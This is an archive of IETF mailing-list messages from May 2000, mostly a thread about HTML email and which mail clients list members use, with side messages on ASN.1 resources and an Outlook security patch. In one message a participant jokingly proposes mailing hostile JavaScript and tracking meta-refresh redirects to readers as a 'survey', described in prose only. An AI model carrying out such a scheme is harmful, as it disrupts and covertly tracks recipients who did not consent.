	37 Internet (Internet Mail Service, another Microsoftism)
	52 Microsoft (Outlook)
	54 Mozilla

Most of these do natively understand HTML email to a certain extent, or
can be configured to pass HTML email to an outside viewer, and a small
number send HTML email by default (based on personal experience).  I don't
know of any in the above list that cannot be convinced to send plain text.

Please remember that the capabilities of a given client are different from
the (possibly bad in some cases) defaults set by the distributers/authors
of a given client.  Perhaps the focus should be on the defaults, rather
than blindly saying ``Mailer X is bad.''

--==--
Bruce.

Sysadmin, APNIC



From owner-ietf-outbound  Fri May 19 01:00:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA19006
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 01:00:02 -0400 (EDT)
Received: from marcos.networkcs.com (marcos.networkcs.com [137.66.16.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA18975
	for <ietf@ietf.org>; Fri, 19 May 2000 00:54:06 -0400 (EDT)
Received: from us.networkcs.com (us.networkcs.com [137.66.11.15])
	by marcos.networkcs.com (8.9.3/8.9.3) with ESMTP id XAA22027;
	Thu, 18 May 2000 23:54:01 -0500 (CDT)
	(envelope-from salo@us.networkcs.com)
Received: (from salo@localhost)
	by us.networkcs.com (8.9.2/8.9.2) id XAA59053;
	Thu, 18 May 2000 23:54:01 -0500 (CDT)
	(envelope-from salo)
Date: Thu, 18 May 2000 23:54:01 -0500 (CDT)
From: Tim Salo <salo@networkcs.com>
Message-Id: <200005190454.XAA59053@us.networkcs.com>
To: ietf@ietf.org
Subject: Re: HTML email
In-Reply-To: <Pine.BSF.4.21.0005191341441.3352-100000@julubu.staff.apnic.net>
X-Loop: ietf@ietf.org

> Date: Fri, 19 May 2000 13:51:35 +1000 (EST)
> From: Bruce Campbell <bruce.campbell@apnic.net>
> To: ietf@ietf.org
> Subject: Re: HTML email
> 	[...]
> tytso> I wonder how many people are still using plain-text,
> tytso> non-HTML enabled mail readers?  ...
> 
> Just a quick survey on the last 513 messages seen in the IETF list, based
> on X-Mailer header:
> 	[...]
> 
> Most of these do natively understand HTML email to a certain extent, or
> can be configured to pass HTML email to an outside viewer, and a small
> number send HTML email by default (based on personal experience).  I don't

If I count correctly, your list contains 284 samples.  I suspect that
a good number of the remaining 229 mail messages were created by older
mailers that don't generate an X-Mailer header.

I assume this message doesn't contain an "X-Mailer: Berkeley Mail forever"
header.

(Ok, ok.  I have been known to use vi as my HTML editor, too...)

-tjs

And, from NANOG (I deleted most of the headers, but I didn't see an
X-Mailer:):

> From: smd@clock.org
> To: nanog@merit.edu
> Subject: Please Format Your Posts
> Date: 	Sat, 13 May 2000 22:13:09 -0700
> 
> I know that I am old & curmudgeonly now, but surely I cannot
> be the only NANOG person who uses UCB Mail on occasion?
> 
> Or is it a lost cause to expect people to be concerned about
> the number of characters on a line, when they are arguing
> that we shouldn't worry about the number of globally-known
> routing prefixes?
> 
> 	Sean. (who could buy a fancy email system, 
> 		but doesn't want one at home
> 	       and who could buy a big-iron router, 
> 		but doesn't want one at home)



From owner-ietf-outbound  Fri May 19 10:20:40 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA05473
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 10:20:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05386
	for <ietf@ietf.org>; Fri, 19 May 2000 10:12:19 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4JECEn28690;
	Fri, 19 May 2000 10:12:15 -0400
Message-Id: <200005191412.e4JECEn28690@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: Bruce Campbell <bruce.campbell@apnic.net>
cc: ietf@ietf.org
Subject: Re: HTML email 
In-reply-to: Your message of "Fri, 19 May 2000 13:51:35 +1000."
             <Pine.BSF.4.21.0005191341441.3352-100000@julubu.staff.apnic.net> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <Pine.BSF.4.21.0005191341441.3352-100000@julubu.staff.apnic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 19 May 2000 10:12:14 -0400
X-Loop: ietf@ietf.org

On Fri, 19 May 2000 13:51:35 +1000, Bruce Campbell <bruce.campbell@apnic.net>  said:
> Just a quick survey on the last 513 messages seen in the IETF list, based
> on X-Mailer header:

> 	29 exmh

OK, let's make it 30 for exmh ;)

But seriously, there's a big disparity between counting the messages *posted*
and the MUAs being used to *READ* the messages.  I'm willing to bet that the
traditional posters, the professional lurkers, and the newbies are three
disjoint groups, with quite possibly different expectations regarding mail
software.

I'm willing to bet that the newbies don't know what hit them, the traditional
posters are savvy enough to deal with anything, and the complaints are
mostly coming from the lurkers....

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Fri May 19 10:30:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA05627
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 10:30:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05595
	for <ietf@ietf.org>; Fri, 19 May 2000 10:28:35 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id KAA18877
	for <ietf@ietf.org>; Fri, 19 May 2000 10:27:55 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <ietf@ietf.org>
Subject: RE: HTML email 
Date: Fri, 19 May 2000 10:28:30 -0400
Message-ID: <002001bfc19e$81e31640$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-reply-to: <200005191412.e4JECEn28690@black-ice.cc.vt.edu>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Perhaps you could clarify for us, who falls into which category?

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:smcpherson@clearaccess.net
-http://www.clearaccess.net

-----Original Message-----
From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
Sent: Friday, May 19, 2000 10:12 AM
To: Bruce Campbell
Cc: ietf@ietf.org
Subject: Re: HTML email


On Fri, 19 May 2000 13:51:35 +1000, Bruce Campbell
<bruce.campbell@apnic.net>  said:
> Just a quick survey on the last 513 messages seen in the IETF list, based
> on X-Mailer header:

> 	29 exmh

OK, let's make it 30 for exmh ;)

But seriously, there's a big disparity between counting the messages
*posted*
and the MUAs being used to *READ* the messages.  I'm willing to bet that the
traditional posters, the professional lurkers, and the newbies are three
disjoint groups, with quite possibly different expectations regarding mail
software.

I'm willing to bet that the newbies don't know what hit them, the
traditional
posters are savvy enough to deal with anything, and the complaints are
mostly coming from the lurkers....

--
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Fri May 19 11:10:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA06287
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 11:10:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06152
	for <ietf@ietf.org>; Fri, 19 May 2000 11:02:09 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id KAA09668;
	Fri, 19 May 2000 10:01:39 -0400
Date: Fri, 19 May 2000 10:01:39 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Valdis.Kletnieks@vt.edu
Cc: Bruce Campbell <bruce.campbell@apnic.net>, ietf@ietf.org
Subject: Re: HTML email
Message-ID: <20000519100139.I25589@alcove.wittsend.com>
References: <Pine.BSF.4.21.0005191341441.3352-100000@julubu.staff.apnic.net> <200005191412.e4JECEn28690@black-ice.cc.vt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <200005191412.e4JECEn28690@black-ice.cc.vt.edu>; from Valdis.Kletnieks@vt.edu on Fri, May 19, 2000 at 10:12:14AM -0400
X-Loop: ietf@ietf.org

On Fri, May 19, 2000 at 10:12:14AM -0400, Valdis.Kletnieks@vt.edu wrote:
> On Fri, 19 May 2000 13:51:35 +1000, Bruce Campbell <bruce.campbell@apnic.net>  said:
> > Just a quick survey on the last 513 messages seen in the IETF list, based
> > on X-Mailer header:

> > 	29 exmh

> OK, let's make it 30 for exmh ;)

> But seriously, there's a big disparity between counting the messages *posted*
> and the MUAs being used to *READ* the messages.  I'm willing to bet that the
> traditional posters, the professional lurkers, and the newbies are three
> disjoint groups, with quite possibly different expectations regarding mail
> software.

	Ok...  So, let's try a different kind of survey.  Let's try the
kind of survey that hit CyperPunks a year or so ago.

	We post an html message containing some hostile java script.
I've got one that puts up a window proclaiming "HTML is inappropriate
in E-Mail" and then closes your browswer when you hit OK.  I've got
another that opens TWO windows proclaiming "HTML is inappropriate in
E-Mail" each time you hit OK in one (that one is a mother to kill).
That does a quick "smoke test" survey of how many people have and html
enabled reader with javascript enabled.  :-)  Voting is tabulated by
counting screaming.

	Round two...  Someone sets up a nasty web page (with good logs) and
and then sends out an HTML message with a meta-tag refresh that bounces
the reader to the web page.  Now we get a quick and automatic feedback
on how many people have html enabled readers that honor the refresh
meta-tag.

> I'm willing to bet that the newbies don't know what hit them, the traditional
> posters are savvy enough to deal with anything, and the complaints are
> mostly coming from the lurkers....

	You can have lots of fun with HTML and especially have lots of
fun with people who have HTML enabled readers.  Only Outlook does it
better (with everything IT currently honors).

> -- 
> 				Valdis Kletnieks
> 				Operating Systems Analyst
> 				Virginia Tech

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Fri May 19 12:50:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA08118
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 12:50:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08083
	for <ietf@ietf.org>; Fri, 19 May 2000 12:47:47 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id JAA17118
	for ietf@ietf.org; Fri, 19 May 2000 09:47:45 -0700 (PDT)
Date: Fri, 19 May 2000 09:47:45 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005191647.JAA17118@shell9.ba.best.com>
To: ietf@ietf.org
Subject: Microsoft's Outlook patch
X-Loop: ietf@ietf.org

This page describes the Outlook patch in development:
  http://officeupdate.microsoft.com/2000/articles/out2ksecarticle.htm

The access timer ("Provide access for {1,2,5,10...} minutes") is a 
great idea.  I wonder where they came up with that one.  :)

However, their restriction on the Send method call leaves a lot to 
be desired:
  http://officeupdate.microsoft.com/2000/articles/EmailSecOM.htm

> If a program uses the Send method to send e-mail, Outlook now displays a dialog box asking users whether they wish
                          to allow the operation. Users can't choose "Yes" until five seconds have passed.



From owner-ietf-outbound  Fri May 19 15:20:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09693
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 15:20:03 -0400 (EDT)
Received: from perq.cac.washington.edu (perq.cac.washington.edu [140.142.110.198])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09644
	for <ietf@ietf.org>; Fri, 19 May 2000 15:16:52 -0400 (EDT)
Received: from localhost (rlmorgan@localhost)
	by perq.cac.washington.edu (8.9.3/8.9.3) with ESMTP id MAA11069
	for <ietf@ietf.org>; Fri, 19 May 2000 12:17:10 -0700
X-Authentication-Warning: perq.cac.washington.edu: rlmorgan owned process doing -bs
Date: Fri, 19 May 2000 12:17:10 -0700 (PDT)
From: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
X-Sender: rlmorgan@perq.cac.washington.edu
Reply-To: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
To: ietf@ietf.org
Subject: Re: HTML email 
In-Reply-To: <200005191412.e4JECEn28690@black-ice.cc.vt.edu>
Message-ID: <Pine.LNX.4.21.0005191212340.10966-100000@perq.cac.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Sorry to prolong (and further degrade) this already overlong thread, but
somehow the one-upsmanship (or -downsmanship I suppose) about who has the
most primitive email environment reminded of the venerable item below. My
only excuse is that it's a Friday in May ...

 - RL "Bob" (proud Pine user, of course)

---

        WARNING: Nerd humor follows

>From: gunnarh@dhhalden.no (GUNNAR HORRIGMO)
>Subject: Re: Help with XMS mailer on my Game-Boy?
>Date: Sun, 8 Nov 1992 18:53:02 GMT

>rbw%apple.com@fico.UUCP (Randy Wong) writes:
>>dmsilev@athena.mit.edu (Daniel M Silevitch) writes:
>>>sdoran@sam.ksu.ksu.edu (Steven Marcotte) writes:
>>>>bgohari@wam.umd.edu (Babak Gohari) writes:
>>>>>tilden@sportster.ksu.ksu.edu (Tilden-Master of Illogic) writes:
>>>>>>dlutz@willamette.edu (David Lutz) writes:
>>>>>>>dmsilev@athena.mit.edu (Daniel M Silevitch) writes:
>>>>>>>>brat@access.digex.com (Brat Wizard) writes:
>>>>>>>>>galt%peruvian.utah.edu@cs.utah.edu writes:
>>>>>>>>>>Michael Schmahl [Black-Robe Mage] writes:
>>>>>>>>>>>lairdpg@lub001.lamar.edu writes
>>>>>>>>>>>>22161-bunz writes:
>>>>>>>>>>>>>Brett G Person writes:
>>>>>>>>>>>>>>smith@ctron.com writes:
>>>>>>>>>>>>>>>IronEagle writes:
>>>>>>>>>>>>>>>>Matt Welsh writes:
>>>>>>>>>>>>>>>>>Right! I run System V on my VIC-20!
>>>>>>>>>>>>>>>>Hmmmm...well, I am getting SVR4 for my HP 48SX.....
>>>>>>>>>>>>>>>HA! _I'm_ just finishing up a port of VMS for my Timex Sinclair!
>>>>>>>>>>>>>>>Top THAT!
>>>>>>>>>>>>>>I'm running NextStep on Atari 2600 Video Game System.
>>>>>>>>>>>>>Just last night I was able to get Windows to boot on my Sears PONG
>>>>>>>>>>>>>game.
>>>>>>>>>>>>I am replying to this message with my built-in VAX Mailer on my
>>>>>>>>>>>>Game-Boy.
>>>>>>>>>>>>I just installed a 10 Gigabyte Drive to handle all the replies!
>>>>>>>>>>>>However, it only runs at 230,000 Baud due to the large drive
>>>>>>>>>>>>slowing it down.
>>>>>>>>>>>I fear I will not be getting news any longer...  The batteries on my
>>>>>>>>>>>calculator-watch are running out.
>>>>>>>>>>My calculator-watch is solar...  And if I turned off the lights, NO
>>>>>>>>>>ONE would be getting news...
>>>>>>>>>Feh. I'm so slick NASA just awarded ME the TERADATA contract to run on
>>>>>>>>>my TV remote! They liked my proposal mainly because I'm ALSO able to
>>>>>>>>>shoehorn in the TEXAS SUPERCOLLIDER computations between commercials!
>>>>>>>>>Beat THAT!
>>>>>>>>Well, well, well. SSC calculations, huh. I built a system out of 2
>>>>>>>>inches of wire, 3 pennies and a AA battery that does realtime
>>>>>>>>calculations of particle vectors during the Big Bang. A complete
>>>>>>>>simulation of the first 2 years of the life of the universe, accurate
>>>>>>>>to the theoretical limit, takes about 5 seconds.
>>>>>>>And you guys think you are so great.  I just spent the last half hour
>>>>>>>getting X11 to run on my slide rule.  I am still having problems
>>>>>>>connecting it to the net around here, but I would welcome any
>>>>>>>suggestions.
>>>>>>So what!!! I'm running Xinitrc, TWMRC, Internet, and 27 muds off of a
>>>>>>paperclip.  Not to mention the fact that I am designing a new form of
>>>>>>television with 7000 pixels based off a piece of tissue paper.  Next!!!
>>>>>Man, that's baby stuff.  I'm running a particle accelerator utilizing
>>>>>matter-antimatter reactions in my doorknob, and calculating everything in
>>>>>the fourth dimension using a single dip switch and a large glass of water.
>>>>Child's play, I have an old piece of cheese that is, at this very moment,
>>>>raytracing an actual model of the universe five hours from now, while
>>>>at the same time calculating the heat produced from the new intel
>>>>Pentium.
>>>And you people think that you are hackers! I'm currently engaged in a
>>>project which involves simultaneous simulation of multiple universes (To
>>>see what would happen if various constants change. Pi=8.4 is an interest-
>>>ing one.) My hardware consists of a single wooden pencil (no paper). With
>>>it, I can do real-time simulations of 2^32 universes in parallel.
>>You guys are wimps!!  I've just finished converting a microwave oven into a
>>paradimensional teleportation device.  The only problem I'm having so far is
>>that my breakfast bagel keeps disappearing!!  May have to eat it raw . . .
>Sorry, that's my fault.  I'm afraid that the high-energy laser-pumped
>negentropic vortex generator I made from my own nostril hair, which is
>currently cranking out entire new universes at the rate of 7.6 per picosecond,
>was breaking the FCC emissions limits and gronking your microwave's control
>panel.  It should work properly now.  Also, my cat Arthur was FTPing hundreds
>of terabytes of PD software from Epsilon Eridani in the year 4741 A.D. over
>the faster-than-light Ethernet interface I built for him, and this may have
>been loading the Net a little yesterday.  My sincere apologies to everyone who
>noticed any performance degradation.
Damn, I thought I was doin' some really advanced R&D. But I only have a
humble feather pen with built in spell checking. It checks all languages
since Adam & Eve plus a few forthcoming languages. But after what I've seen
here, that's not good enough for a Nobel Prize..I have to work harder...
Maybe some of the languages from outer space will help ?? I just have to
use my FingerNail Time&Universe Transporter(tm) to get there and learn them.




From owner-ietf-outbound  Fri May 19 15:30:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09847
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 15:30:03 -0400 (EDT)
Received: from mail0.sibs.pt (mail0.sibs.pt [195.138.0.101])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09820
	for <ietf@ietf.org>; Fri, 19 May 2000 15:26:29 -0400 (EDT)
Received: (qmail 31923 invoked from network); 19 May 2000 19:21:25 -0000
Received: from unknown (HELO sibs.pt) (195.138.0.90)
  by mail0.sibs.pt with SMTP; 19 May 2000 19:21:25 -0000
Message-ID: <3925967D.901989A5@sibs.pt>
Date: Fri, 19 May 2000 20:31:09 +0100
From: Bruno Salgueiro <bs@sibs.pt>
Organization: SIBS
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: pt,en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: [off-topic] ASN.1 links
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms7642A62BB9BF77746F9DB6E5"
X-Loop: ietf@ietf.org

This is a cryptographically signed message in MIME format.

--------------ms7642A62BB9BF77746F9DB6E5
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Dear all,

  First of all sorry for this post but I'd like to know where are any
good links around about ASN.1. This is of course important so that the
ASN.1 structures used in the RFCs and drafts can be well understood and
implemented.
  I could always download the specification from ITU but I'd like a more
practical approach.

Best regards and have a nice weekend.
-- 
=======================================================
Bruno Salgueiro       (mailto:bs@sibs.pt)
                   
SIBS - Sociedade Interbancária de Serviços
Rua Soeiro Pereira Gomes, Lote 1, 1600 Lisboa, Portugal

Tel: + 351 21 791 88 33
Fax: + 351 21 794 24 40
http://www.sibs.pt

Esta mensagem foi assinada com certificado MULTIcert.
Para obter o certificado da Autoridade de Certificação
PILOTO MULTIcert dirija-se ao site
            http://www.sibs.multicert.com

"Computers are useless. They can only give you answers."
                                        --Pablo Picasso
=======================================================
--------------ms7642A62BB9BF77746F9DB6E5
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
Content-Transfer-Encoding: base64

MIIFCwYJKoZIhvcNAQcCoIIE/DCCBPgCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
A4owggOGMIIC76ADAgECAgQ3Ttp2MA0GCSqGSIb3DQEBBQUAMCgxCzAJBgNVBAYTAlBUMRkw
FwYDVQQKExBQSUxPVE8gTVVMVEljZXJ0MB4XDTk5MDUzMTIzMzIzNFoXDTAwMDYwMTAwMDIz
NFowYTELMAkGA1UEBhMCUFQxGTAXBgNVBAoTEFBJTE9UTyBNVUxUSWNlcnQxDTALBgNVBAsT
BFNJQlMxDjAMBgNVBAsTBURTSVNUMRgwFgYDVQQDEw9CcnVubyBTYWxndWVpcm8wXDANBgkq
hkiG9w0BAQEFAANLADBIAkEAuVICquW4IcbOpM37DdyglXYa8AAdR6UWq2VFEFTUtY0colnZ
a9BQ0DvTRB8sO5XuFiTWFnVR5T94R5j5PjE0cwIDAQABo4IBxjCCAcIwCwYDVR0PBAQDAgWg
MCsGA1UdEAQkMCKADzE5OTkwNjAxMDAwMjM0WoEPMjAwMDAyMTIwNDAyMzRaMBEGCWCGSAGG
+EIBAQQEAwIFoDCBqQYJYIZIAYb4QgENBIGbFoGYQ2VydGlmaWNhZG8gUElMT1RPIE1VTFRJ
Y2VydC4gRXN0ZXMgY2VydGlmaWNhZG9zIHNhbyBlbWl0aWRvcyBhbyBhYnJpZ28gZG8gQ1BT
IHF1ZSBzZSBlbmNvbnRyYSBubyBzZWd1aW50ZSBVUkwgLSBodHRwczovL3d3dy5zaWJzLm11
bHRpY2VydC5jb20vY3BzLmh0bWwwFQYDVR0RBA4wDIEKYnNAc2licy5wdDBKBgNVHR8EQzBB
MD+gPaA7pDkwNzELMAkGA1UEBhMCUFQxGTAXBgNVBAoTEFBJTE9UTyBNVUxUSWNlcnQxDTAL
BgNVBAMTBENSTDEwHwYDVR0jBBgwFoAUuJYgbdZN8aJJDF13gU9LJAiiL+UwHQYDVR0OBBYE
FEsyR+XzLWwX2+4LDk6/lA+XyaZtMAkGA1UdEwQCMAAwGQYJKoZIhvZ9B0EABAwwChsEVjQu
MAMCA6gwDQYJKoZIhvcNAQEFBQADgYEAk1GfA3Mtu3ECWCz2SIxkVisgOxt9vDKdQNTevrus
an91qvmvoHAtJMAlAolegoiDpq73qdk+9JMODICE5zEXDIK9w2nCkqBheFwJs7frm/tVLnSv
H+vQ5/5EX3ARwqforMGtjf+BO8OuYoxRyydKx9xheeyhke9+xJCEnOA2wDwxggFJMIIBRQIB
ATAwMCgxCzAJBgNVBAYTAlBUMRkwFwYDVQQKExBQSUxPVE8gTVVMVEljZXJ0AgQ3Ttp2MAkG
BSsOAwIaBQCggbEwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcN
MDAwNTE5MTkzMTA5WjAjBgkqhkiG9w0BCQQxFgQUn7h/hTdCBZt/C4qwPxr1LPixPQ4wUgYJ
KoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwBwYFKw4DAgcwDQYI
KoZIhvcNAwICAUAwDQYIKoZIhvcNAwICASgwDQYJKoZIhvcNAQEBBQAEQIZpNdE82ZlOrZuq
BHVsk3PsIgm9gTCbTLYKHoogfoT5xcJme8YcYLisiFl194ziwGwQh4Q4kSzZzcfF0TcBRxk=
--------------ms7642A62BB9BF77746F9DB6E5--



From owner-ietf-outbound  Fri May 19 16:10:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA10447
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 16:10:02 -0400 (EDT)
Received: from infidel.boolean.net (root@router.boolean.net [198.144.206.49])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10364
	for <ietf@ietf.org>; Fri, 19 May 2000 16:03:49 -0400 (EDT)
Received: from gypsy (gypsy.boolean.net [198.144.202.243])
	by infidel.boolean.net (8.9.3/8.9.3) with SMTP id UAA00852;
	Fri, 19 May 2000 20:03:42 GMT
	(envelope-from Kurt@OpenLDAP.org)
Message-Id: <3.0.5.32.20000519130341.00946e30@infidel.boolean.net>
X-Sender: guru@infidel.boolean.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 19 May 2000 13:03:41 -0700
To: Bruno Salgueiro <bs@sibs.pt>
From: "Kurt D. Zeilenga" <Kurt@OPENLDAP.ORG>
Subject: Re: [off-topic] ASN.1 links
Cc: ietf@ietf.org
In-Reply-To: <3925967D.901989A5@sibs.pt>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id QAA10364
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

You might also checkout these resources:
  http://www-sop.inria.fr/rodeo/personnel/hoschka/asn1.html
  http://asn1.elibel.tm.fr/
  http://www.cs.columbia.edu/~hgs/internet/asn.1.html

Also,

"A Layman's Guide to ASN.1, BER, and DER" is available from RSA Security. 
  ftp://ftp.rsasecurity.com/pub/pkcs/ascii/layman.asc (ASCII)
  ftp://ftp.rsasecurity.com/pub/pkcs/ps/layman.ps (PostScript)

Peter Gutmann's X.509 Style Guide: 
  "There seems to be a lot of confusion about how to implement
  and work with X.509 certificates, either because of ASN.1
  encoding issues, or because vagueness in the relevant standards
  means people end up taking guesses at what some of the fields
  are supposed to look like. For this reason I've put together
  these guidelines to help in creating software to work with X.509
  certificates, PKCS #10 certification requests, CRL's, and other
  ASN.1-encoded data types."
  http://www.cs.auckland.ac.nz/~pgut001/pubs/x509guide.txt 


At 08:31 PM 5/19/00 +0100, Bruno Salgueiro wrote:
>Dear all,
>
>  First of all sorry for this post but I'd like to know where are any
>good links around about ASN.1. This is of course important so that the
>ASN.1 structures used in the RFCs and drafts can be well understood and
>implemented.
>  I could always download the specification from ITU but I'd like a more
>practical approach.
>
>Best regards and have a nice weekend.
>-- 
>=======================================================
>Bruno Salgueiro       (mailto:bs@sibs.pt)
>                   
>SIBS - Sociedade Interbancária de Serviços
>Rua Soeiro Pereira Gomes, Lote 1, 1600 Lisboa, Portugal
>
>Tel: + 351 21 791 88 33
>Fax: + 351 21 794 24 40
>http://www.sibs.pt
>
>Esta mensagem foi assinada com certificado MULTIcert.
>Para obter o certificado da Autoridade de Certificação
>PILOTO MULTIcert dirija-se ao site
>            http://www.sibs.multicert.com
>
>"Computers are useless. They can only give you answers."
>                                        --Pablo Picasso
>=======================================================
>Attachment Converted: "c:\home\kurt\data files\eudora\attach\smime.p7s"
>



From owner-ietf-outbound  Fri May 19 16:40:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA10772
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 16:40:03 -0400 (EDT)
Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10724
	for <ietf@ietf.org>; Fri, 19 May 2000 16:35:58 -0400 (EDT)
Received: by tsx-prime.MIT.EDU 
	with sendmail-SMI-8.6/1.2, id QAA05136; Fri, 19 May 2000 16:35:58 -0400
Date: Fri, 19 May 2000 16:35:58 -0400
Message-Id: <200005192035.QAA05136@tsx-prime.MIT.EDU>
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
To: Tim Salo <salo@networkcs.com>
CC: ietf@ietf.org
In-reply-to: Tim Salo's message of Thu, 18 May 2000 23:54:01 -0500 (CDT),
	<200005190454.XAA59053@us.networkcs.com>
Subject: Re: HTML email
Phone: (781) 391-3464
X-Loop: ietf@ietf.org

   Date: Thu, 18 May 2000 23:54:01 -0500 (CDT)
   From: Tim Salo <salo@networkcs.com>
   X-Loop: ietf@ietf.org

   > Date: Fri, 19 May 2000 13:51:35 +1000 (EST)
   > From: Bruce Campbell <bruce.campbell@apnic.net>
   > To: ietf@ietf.org
   > Subject: Re: HTML email
   > 	[...]
   > tytso> I wonder how many people are still using plain-text,
   > tytso> non-HTML enabled mail readers?  ...
   > 
   > Just a quick survey on the last 513 messages seen in the IETF list, based
   > on X-Mailer header:

   If I count correctly, your list contains 284 samples.  I suspect that
   a good number of the remaining 229 mail messages were created by older
   mailers that don't generate an X-Mailer header.

.... and it's likely that most of the 229 mail messages created by
"older mailers" don't deal with HTML, and possibly not with MIME,
either.

					- Ted

					(who is still using emacs RMAIL
					to read his mail)



From owner-ietf-outbound  Sat May 20 22:15:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA03406
	for ietf-outbound.10@ietf.org; Sat, 20 May 2000 22:10:02 -0400 (EDT)
Received: from sdp.ee.tsinghua.edu.cn ([166.111.64.222])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03379
	for <ietf@ietf.org>; Sat, 20 May 2000 22:03:05 -0400 (EDT)
Received: from Zhengyq ([166.111.64.236]) by sdp.ee.tsinghua.edu.cn
          (Netscape Mail Server v2.02) with SMTP id AAA192
